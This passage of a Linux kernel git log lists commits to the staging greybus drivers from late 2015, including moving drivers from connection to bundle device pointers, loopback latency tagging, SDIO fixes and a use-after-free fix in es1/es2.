Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold drivers/staging/greybus/greybus_trace.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d9a9ea1b88190a31957489377fd3fee246888373 Author: Greg Kroah-Hartman Date: Fri Oct 16 16:55:46 2015 -0700 greybus: loopback: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the loopback driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold drivers/staging/greybus/loopback.c | 78 +++++++++++++++++++------------------- 1 file changed, 38 insertions(+), 40 deletions(-) commit 30482c1e63f3530f38f9364b90e35f1e9a990a4c Author: Greg Kroah-Hartman Date: Fri Oct 16 16:56:23 2015 -0700 greybus: connection: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the connection code to use the bundle pointer instead of the connection pointer for some error messages. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold drivers/staging/greybus/connection.c | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) commit b750fa3370485356b5cddda7c0f7fc9bea056fa8 Author: Greg Kroah-Hartman Date: Fri Oct 16 16:56:38 2015 -0700 greybus: connection: remove 'struct device' from 'struct gb_connection' We don't want this in the driver core, as nothing will be binding to it, that's the job of a bundle. So remove the struct device and use a kref to handle reference counting instead. Note, I don't think we really need a kref, but it keeps the lifetime the same as before, and is the simplest change for now. In the future it might be easier to just attach all connections to the bundle and clean them up when the bundle is removed. Also remove the cport sysfs documentation as it's no longer relevant. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold .../greybus/Documentation/sysfs-bus-greybus | 37 ---------- drivers/staging/greybus/connection.c | 83 +++------------------- drivers/staging/greybus/connection.h | 3 +- 3 files changed, 9 insertions(+), 114 deletions(-) commit b6789ee55b99fbc26aa16e4f485397e86498bf51 Author: Rui Miguel Silva Date: Thu Oct 15 23:56:52 2015 +0100 greybus: sdio: some cleanups in command function Some cleanups in gb_sdio_command function, ret does not need to be initialize and mrq is already pointing to request, no need to get it from host. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 10ed1938767ec90a264b73b337ec17a0a674847a Author: Rui Miguel Silva Date: Thu Oct 15 23:56:51 2015 +0100 greybus: sdio: send data block details at command request If SDIO request include data to be transfer send details (data blocks and block size) in command request, as it seems some controllers need this info prior to set the registers correctly. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 ++ drivers/staging/greybus/sdio.c | 8 +++++++- 2 files changed, 9 insertions(+), 1 deletion(-) commit 1ec5843ee9889914be80a6763e58a79064716023 Author: Bryan O'Donoghue Date: Thu Oct 15 16:10:45 2015 +0100 greybus: loopback: capture and present firmware supplied latencies In order to provide deep inspection of the greybus/UniPro system instrumentation of 1. APBridge's view of UniPro latency 2. GPBridge's view of internal firmware-only latency have both been added and reported to the AP in the transfer loopback response header. When this data are present we latch and average it over the number of requested cycles, presenting it to user-space via sysfs. This patch adds the following sysfs entries for each loopback CPort - apbridge_unipro_latency_avg_con - apbridge_unipro_latency_max_con - apbridge_unipro_latency_min_con - gpbridge_firmware_latency_avg_con - gpbridge_firmware_latency_max_con - gpbridge_firmware_latency_min_con and the following sysfs entries representing the average values across all available CPorts - apbridge_unipro_latency_avg_dev - apbridge_unipro_latency_max_dev - apbridge_unipro_latency_min_dev - gpbridge_firmware_latency_avg_dev - gpbridge_firmware_latency_max_dev - gpbridge_firmware_latency_min_dev Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 44 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) commit e6227ee64782e1cda88a70512ac2b0ae8fda2203 Author: Bryan O'Donoghue Date: Thu Oct 15 16:10:44 2015 +0100 greybus: loopback: add tracker variables to hold firmware timestamps This patch adds tracker variables to hold the incoming firmware derived timestamps where apbridge_latency_ts will contain the APBridge's view of the UniPro turn-around time and gpbridge_latency_ts will contain the GPBridge's view of it's own internal latency. Both values are reported in microseconds. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 ++ 1 file changed, 2 insertions(+) commit fd58926ebef4a5afa238f35cc99c1f99653c40a4 Author: Bryan O'Donoghue Date: Thu Oct 15 16:10:43 2015 +0100 greybus: loopback: send command to APBridge to tag throughput A USB vendor command has been added to APBridge to allow for tagging of specific CPort identifiers with internal timing data, specifically geared towards capturing and understanding latencies in the UniPro fabric. This patch sends a command to APBridge for each known loopback CPort to tag data as appropriate. Subsequent patches will present this data to user-space for ongoing integration analysis. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 +++ 1 file changed, 3 insertions(+) commit e7e2efc438ba721000ed4b747f159e41571570a7 Author: Bryan O'Donoghue Date: Thu Oct 15 16:10:42 2015 +0100 greybus: connection: add latency tag enable/disable callbacks This patch adds a layered wrapper around optional latency tag enable/disable commands to APBridge. When set APBridge and GPBridge will insert timing information into reserved fields in the loopback response header. Correspondingly when unset no timing information will be included in the response payload. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 32 ++++++++++++++++++++++++++++++++ drivers/staging/greybus/connection.h | 3 +++ 2 files changed, 35 insertions(+) commit 608ab2fe99396eff941256d7f0ae7b91438e6cc1 Author: Bryan O'Donoghue Date: Thu Oct 15 16:10:41 2015 +0100 greybus: es1,es2: add USB vendor command to timestamp As part of an effort to get deep inspection of latencies throughout the greybus network including HSIC, UniPro and firmware incurred latencies a new command to the APBridge to tag a known offset with timestamping data has been introduced. This patch adds that code to the es1 and es2 drivers. - latency_tag_enable - latency_tag_disable Respectively send the enable/disable command to APBridge on a per-CPort basis. This allows only specified cports to have timestamping data added by APBridge, leaving any CPort not specifically enabled untouched. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 54 +++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/es2.c | 54 +++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/greybus.h | 3 +++ 3 files changed, 111 insertions(+) commit 29a167ec87fb971931a033766e9e387d0fcabe7d Author: Greg Kroah-Hartman Date: Wed Oct 14 11:31:00 2015 -0700 greybus: raw: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the raw driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/raw.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit defa37ea9b9396ddc3ba9f556c1f89fec15c260b Author: Greg Kroah-Hartman Date: Wed Oct 14 11:22:39 2015 -0700 greybus: control: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the control code to use the bundle pointer instead of the connection pointer for printing out error messages. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/control.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c3aa6556659fe25b2fb27b86e65c6610b4066950 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:21:06 2015 -0700 greybus: operation: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the operation code to use to use the bundle pointer instead of the connection pointer when printing out error messages. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/operation.c | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) commit dfdc6e12c8a3b1bc0c123abeb3679208b31a19f6 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:20:00 2015 -0700 greybus: usb: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the usb driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/usb.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 61c80575b90797bb3e74e2e2510eaa376bc8e4cb Author: Greg Kroah-Hartman Date: Wed Oct 14 11:19:42 2015 -0700 greybus: sdio: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the sdio driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/sdio.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5fd18b37c6a718d9daf8719ac81e4aa67ded4106 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:19:09 2015 -0700 greybus: light : use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the light driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/light.c | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) commit 8d5732f4be9411ddf9e6dc6b4d761f3b06999d94 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:18:50 2015 -0700 greybus: pwm: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the pwm driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/pwm.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c01e16e3cb120938db87af91248e91f3552a1b73 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:18:32 2015 -0700 greybus: i2c: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the i2c driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/i2c.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c7eb46e459f2a05fa52656ae9d767aa498482ecf Author: Greg Kroah-Hartman Date: Wed Oct 14 11:17:55 2015 -0700 greybus: gpio: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the gpio driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/gpio.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 0a72bd36df947855d7e546ac2e91972860f6894b Author: Greg Kroah-Hartman Date: Wed Oct 14 11:17:29 2015 -0700 greybus: firmware: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the firmware driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/firmware.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 283dc01fb0ca32254bd5111c22cd9d9d4c4a0216 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:16:49 2015 -0700 greybus: audio: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the audio driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/audio.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit b2a637d72df790dbb8550627903c93ec8df4e9f7 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:16:24 2015 -0700 greybus: hid: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the hid driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/hid.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 1cb9e38c8c17b16b2712aaf2ca4d3509f0fe9366 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:15:38 2015 -0700 greybus: spi: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the spi driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/spi.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 4f30bf3aef416ce6870a6da68e42957aeb4edb76 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:15:12 2015 -0700 greybus: uart: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the uart driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/uart.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 5ae2f55b3571408caa6ee0dc908dc60131da7cf6 Author: Greg Kroah-Hartman Date: Wed Oct 14 11:12:06 2015 -0700 greybus: vibrator: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the vibrator driver to use the bundle pointer instead of the connection pointer. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/vibrator.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 04db334667b167b6f7c64e791defcb1bc61cfd3a Author: Bryan O'Donoghue Date: Mon Oct 12 15:45:05 2015 +0100 greybus: loopback: add reserved fields to track firmware latencies The greybus specification has been extended to include two new reserved fields, which the implementation is using to track internal firmware latencies. This change adds the appropriate fields to the corresponding kernel header. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 ++ 1 file changed, 2 insertions(+) commit 0010245e2c6e431f24c1d80521866f963e148c03 Author: Johan Hovold Date: Tue Oct 13 11:27:58 2015 +0200 greybus: gpio: handle set_irq_flags api change The ARM-specific set_irq_flags helper has been removed in 4.3. Instead of doing conditional compilation on the kernel version to avoid build breakages, simply use the genirq interface directly. Suggested-by: Rob Herring Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 7 ------- 1 file changed, 7 deletions(-) commit 650f38e3160aeaaa77c9e689850ba4c4f78ecb2e Author: Johan Hovold Date: Tue Oct 13 19:10:30 2015 +0200 greybus: build: add pwm to config options to enable Add PWM to the kernel config options that shall be enabled. When PWM is not enabled connection init will fail with greybus endo0:3:4:9:9: failed to register PWM: -22 when using the default manifest. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7f0efa06795fea3f04578cf3016d393f9293cd4f Author: Johan Hovold Date: Tue Oct 13 19:10:29 2015 +0200 greybus: connection: remove duplicate protocol lookup error message Remove duplicate protocol lookup error message, which has already been logged. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ---- 1 file changed, 4 deletions(-) commit 9942fc8b14f21525622b85031b19c7ab5b16b339 Author: Johan Hovold Date: Tue Oct 13 19:10:28 2015 +0200 greybus: protocol: make protocol-lookup error message more informative Make protocol lookup error more informative, by moving it to gb_connection_bind_protocol and using dev_err. Also make sure to use hex format for the protocol id as that is what is used everywhere else. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 ++++++- drivers/staging/greybus/protocol.c | 3 --- 2 files changed, 6 insertions(+), 4 deletions(-) commit d4efa68803667ab9d3ff6786462d2702b89e58de Author: Johan Hovold Date: Tue Oct 13 19:10:27 2015 +0200 greybus: vibrator: add missing protocol-register error handling Add missing error handling when registering the vibrator protocol during module init. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 4505c4d44a660866f2006eacafcb8c7d182ec182 Author: Johan Hovold Date: Tue Oct 13 19:10:26 2015 +0200 greybus: protocol: make version debug message more informative Include function, protocol name and id when printing the version response debug message. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 519bf3c3b9c09619ca90f67b194714bb5f30d491 Author: Johan Hovold Date: Tue Oct 13 19:10:25 2015 +0200 greybus: protocol: warn on protocol put errors Issue a warning if we fail to look up a protocol when dropping a reference. This should never happen as we hold a reference to the protocol module and protocols should only be deregistered at module unload. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit 78033844daa64c83d91dca73eb1fbcae56c42fac Author: Johan Hovold Date: Tue Oct 13 19:10:24 2015 +0200 greybus: protocol: warn on bad deregistration A protocol should be deregistered exactly once when the protocol module is being unloaded. This means that protocol deregister will never be called with active users as we take a module reference when looking up a protocol. Remove comment suggesting that we could one day forcefully stop a user of a protocol, and issue a big warning if a protocol is deregistered more than once or at some other time than during module unload (e.g. with active users). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 28 ++++++++-------------------- drivers/staging/greybus/protocol.h | 2 +- 2 files changed, 9 insertions(+), 21 deletions(-) commit 0b1118a9efa9a00e449158bb7bb74249dc92c888 Author: Johan Hovold Date: Tue Oct 13 19:10:23 2015 +0200 greybus: operation: clean up error messages Clean up and improve error messages. Demote a warning message to warning level. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit ff65e20ee534a5720bacd0b4058458e234ec51d6 Author: Johan Hovold Date: Tue Oct 13 19:10:22 2015 +0200 greybus: operation: drop OOM-response FIXME Drop FIXME about sending responses in OOM situations. If we fail to allocate an operation for an incoming request, we have bigger problems than to worry about sending a response. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit aae5a44ff5a22c3c3398e68c89a4513c75725fd7 Author: Johan Hovold Date: Tue Oct 13 19:10:21 2015 +0200 greybus: connection: replace pr_err with dev_err Replace a couple of pr_err with more informative dev_err and clean up the messages somewhat. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 305a031e1ae006eb3cbac5c4c7fd441596f0fe45 Author: Johan Hovold Date: Tue Oct 13 19:10:20 2015 +0200 greybus: es1/es2: clean up error messages Replace the remaining pr_err with dev_err, and drop redundant function prefixes. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 13 ++++++------- drivers/staging/greybus/es2.c | 13 ++++++------- 2 files changed, 12 insertions(+), 14 deletions(-) commit 67b81757dad8979e0cd85512fc0e5dfe80e2e96f Author: Fabien Parent Date: Tue Oct 13 17:34:51 2015 +0200 greybus: connection: destroy connection on failing to bind it gb_connection_bind_protocol() returns proper error codes now and we should destroy the connection on failures. This change also fixes a NULL deref on hotplug when the control connection fails to initialize. Signed-off-by: Fabien Parent Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 82ee1e6cde3d9500f3dfc9cefc259b89e87a8865 Author: Fabien Parent Date: Tue Oct 13 17:34:50 2015 +0200 greybus: es2: implement cport reset control request Toshiba UniPro IP requires to reset the CPort that has been used in a previous connection. This commit implement a new control request in order to reset CPorts on an APBridgeA. Signed-off-by: Fabien Parent Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) commit f064b872e7a0ee48d5d33278aeb30ffa7ee1c5f5 Author: Rui Miguel Silva Date: Thu Oct 8 12:10:54 2015 +0100 greybus: sdio: clarify operator precedence When translating capabilities from greybus to mmc values add some parentheses to clarify operation precedence and avoid static analyses warnings. [sdio.c:81]: (style) Clarify calculation precedence for '&' and '?' Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 44 +++++++++++++++++++++--------------------- 1 file changed, 22 insertions(+), 22 deletions(-) commit dcb8d8d3e1f929e155cc262d9fbe060f94c02e35 Author: Rui Miguel Silva Date: Thu Oct 8 12:10:53 2015 +0100 greybus: sdio: convert greybus ocr values to mmc ones It was missing the translation between the ocr vdd values of greybus to mmc_core values. This would make the detection of range voltage fail. mmc: host doesn't support card's voltages Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 26 +++++++++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) commit 6cac7dc3aaaef8161ac80c5980cec10427996abf Author: Rui Miguel Silva Date: Thu Oct 8 12:10:52 2015 +0100 greybus: sdio: fix card removable detection In kernel versions bellow 3.15, the mmc_card_is_removable helper function has an extra check used for a suspend/resume hack. This made the gd_sdio_process_event to behave badly handling the module card insert event in that versions. So, just test bit the flag that we need, instead of using the helper function. This way will work in all kernel versions. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e0f875c336f792d4c2b0d09436426724ae14713e Author: Rui Miguel Silva Date: Thu Oct 8 12:10:51 2015 +0100 greybus: sdio: add field to get_caps response Frequency maximum and minimum are needed to complete the configuration of the controller. Add them to get_caps response operation. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 ++ drivers/staging/greybus/sdio.c | 4 ++++ 2 files changed, 6 insertions(+) commit 1575ef18aea40ab1f6915917901a80ca780188a6 Author: Viresh Kumar Date: Wed Oct 7 15:40:24 2015 -0400 greybus: svc: skip setting flags for boot over unipro We need to skip setting E2EFC and other flags to the SVC connection create request, for all cports, on an interface that need to boot over unipro, i.e. interfaces required to download firmware. This also adds a FIXME as we need to do it differently for ES3. Tested-by: Eli Sennesh Signed-off-by: Viresh Kumar Signed-off by: Eli Sennesh Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 +++++-- drivers/staging/greybus/greybus_protocols.h | 7 +++++++ drivers/staging/greybus/interface.h | 3 +++ drivers/staging/greybus/svc.c | 26 ++++++++++++++++++++++++-- drivers/staging/greybus/svc.h | 2 +- 5 files changed, 40 insertions(+), 5 deletions(-) commit d3247a3fc7123f7001829a6ece731cf23e56a829 Author: Michael Scott Date: Mon Oct 5 12:33:04 2015 -0700 greybus: build: android: fix strip module build step Currently, the greybus module .ko files are quite large and the following error was observed during Android build for each greybus module: strip: Unable to recognise the format of the input file `` Fix the strip build step by replacing the undefined KERNEL_TOOLCHAIN_PATH variable with the GREYBUS_CC_PREFIX variable. Also used as the CROSS_COMPILER value for the module make. Signed-off-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Android.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit adc401417eb87cfb6ce93e0f66eea19ee40fe5b8 Author: Michael Scott Date: Fri Oct 2 12:05:33 2015 -0700 greybus: build: android: replace Linaro build specific logic with AOSP equivalents When using greybus build in a different Android setup, it was noted that several portions of this makefile rely on Linaro specific build items. Replace these with more generic build steps. - ANDROID_64 is only defined by Linaro build tasks, use TARGET_ARCH to establish ARCH= parameter for greybus build - KERNEL_TOOLS_PREFIX is only defined by Linaro build tasks. AOSP has a near equivalent variable: TARGET_TOOLS_PREFIX - build-greybus was dependant on subtask: android_kernel a task defined only by Linaro build tasks. Replace with a generic dependancy to the kernel binary located in $OUT (INSTALLED_KERNEL_TARGET). End result is the same: kernel must be built before greybus modules Signed-off-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Android.mk | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit 3c9426ad27840e2d1175e3b090cba98f539c10c6 Author: Rui Miguel Silva Date: Wed Sep 30 11:11:57 2015 +0100 greybus: gpio: fix generic_handle_irq_desc api change The generic_handle_irq_desc api only have changed in 4.3.0, so check against the correct version, if not will break builds for 4.2.x. Fixes: e7895cfc476 ("gpio: handle api change in generic_handle_irq_desc()") Signed-off-by: Rui Miguel Silva Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4ee144170a74c990eea2ccec46ab438bc233d2d8 Author: Greg Kroah-Hartman Date: Tue Sep 29 20:39:17 2015 +0200 greybus: gpio: handle api change in generic_handle_irq_desc() generic_handle_irq_desc changed the api in the 4.2 kernel, so fix up the gpio driver to handle this properly to keep it working. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 4 ++++ 1 file changed, 4 insertions(+) commit 6ab1ce4d542ea1b5ffa40321e021d95de47880ea Author: Johan Hovold Date: Sat Sep 26 17:59:15 2015 -0700 greybus: operation: remove gb_operation_destroy Remove legacy interface to "destroy" operations, which is now just a wrapper for gb_operation_put. The old interface name hides the fact that all operations are refcounted and may live on even after having "destroyed" them. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 3 ++- drivers/staging/greybus/i2c.c | 3 ++- drivers/staging/greybus/loopback.c | 3 ++- drivers/staging/greybus/operation.c | 3 ++- drivers/staging/greybus/operation.h | 4 ---- drivers/staging/greybus/spi.c | 3 ++- 6 files changed, 10 insertions(+), 9 deletions(-) commit 58c85123d9a1801af2558a0c925d90fe1599c27f Author: Johan Hovold Date: Sat Sep 26 14:37:59 2015 -0700 greybus: es1/2: fix use-after-free in completion callback Reset the hcpriv field before returning the message to greybus core in the OUT-URB completion callback. This fixes a use-after-free bug when sending responses to incoming requests as the final reference is then dropped when the message is returned. Reported-by: Michael Scott Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 8 ++++---- drivers/staging/greybus/es2.c | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) commit 336dfeaba1f6dd3b07571e0010707f716a1c6ee8 Author: Viresh Kumar Date: Wed Sep 23 16:48:13 2015 -0700 greybus: firmware: Don't send control-disconnected event for firmware protocol After downloading the firmware for the next boot stage, module's firmware (for current boot stage) jumps into it and the new firmware and sends hotplug request to SVC. On hotplug request from the SVC, the AP first removes the existing interface. At this time, there is no point sending disconnected event for the firmware protocol, for the firmware used in previous stage, as the new firmware wouldn't be aware about it. Set flags for firmware protocol to skip control-disconnected operations. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 1 + 1 file changed, 1 insertion(+) commit 06986a2cbe7a3d20ed8a8651afd80f08948f3ee6 Author: Viresh Kumar Date: Wed Sep 23 16:48:12 2015 -0700 greybus: firmware: drop 'stage' from ready-to-boot request The spec says that it doesn't need it, so dropping it. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 3 +-- drivers/staging/greybus/greybus_protocols.h | 1 - 2 files changed, 1 insertion(+), 3 deletions(-) commit 78cd67777b71f38dec710dc26f48b685ef6cf120 Author: Viresh Kumar Date: Wed Sep 23 16:48:11 2015 -0700 greybus: interface: gb_interface_create() isn't called for existing interfaces The callers are ensuring that another interface doesn't exist with the same interface id and so there is no need to check that from gb_interface_create() anymore. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 7 ------- 1 file changed, 7 deletions(-) commit 80d1ede88ab081bd901bd5b3dc2461083915d1d1 Author: Viresh Kumar Date: Wed Sep 23 16:48:10 2015 -0700 greybus: interface: Pass interface pointer to gb_interface_remove() The callers already have a valid interface pointer and there is no need for gb_interface_remove() to find the interface again. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 29 +++++++++-------------------- drivers/staging/greybus/interface.h | 2 +- drivers/staging/greybus/svc.c | 4 ++-- 3 files changed, 12 insertions(+), 23 deletions(-) commit 6bec5c78e59dd847c095f4a868baf14be871c8bb Author: Viresh Kumar Date: Thu Sep 24 14:40:29 2015 -0700 greybus: svc: Read and clear module's boot status As per the module's boot sequence diagram, the AP needs to read/clear T_TstSrcIncrement attribute on hotplug (svc) events. Implement that. FIXME: This is module-hardware dependent and needs to be extended for every type of module we want to support. [ Based on work by Marti & Eli to clear the attribute with DME set] Signed-off-by: Viresh Kumar 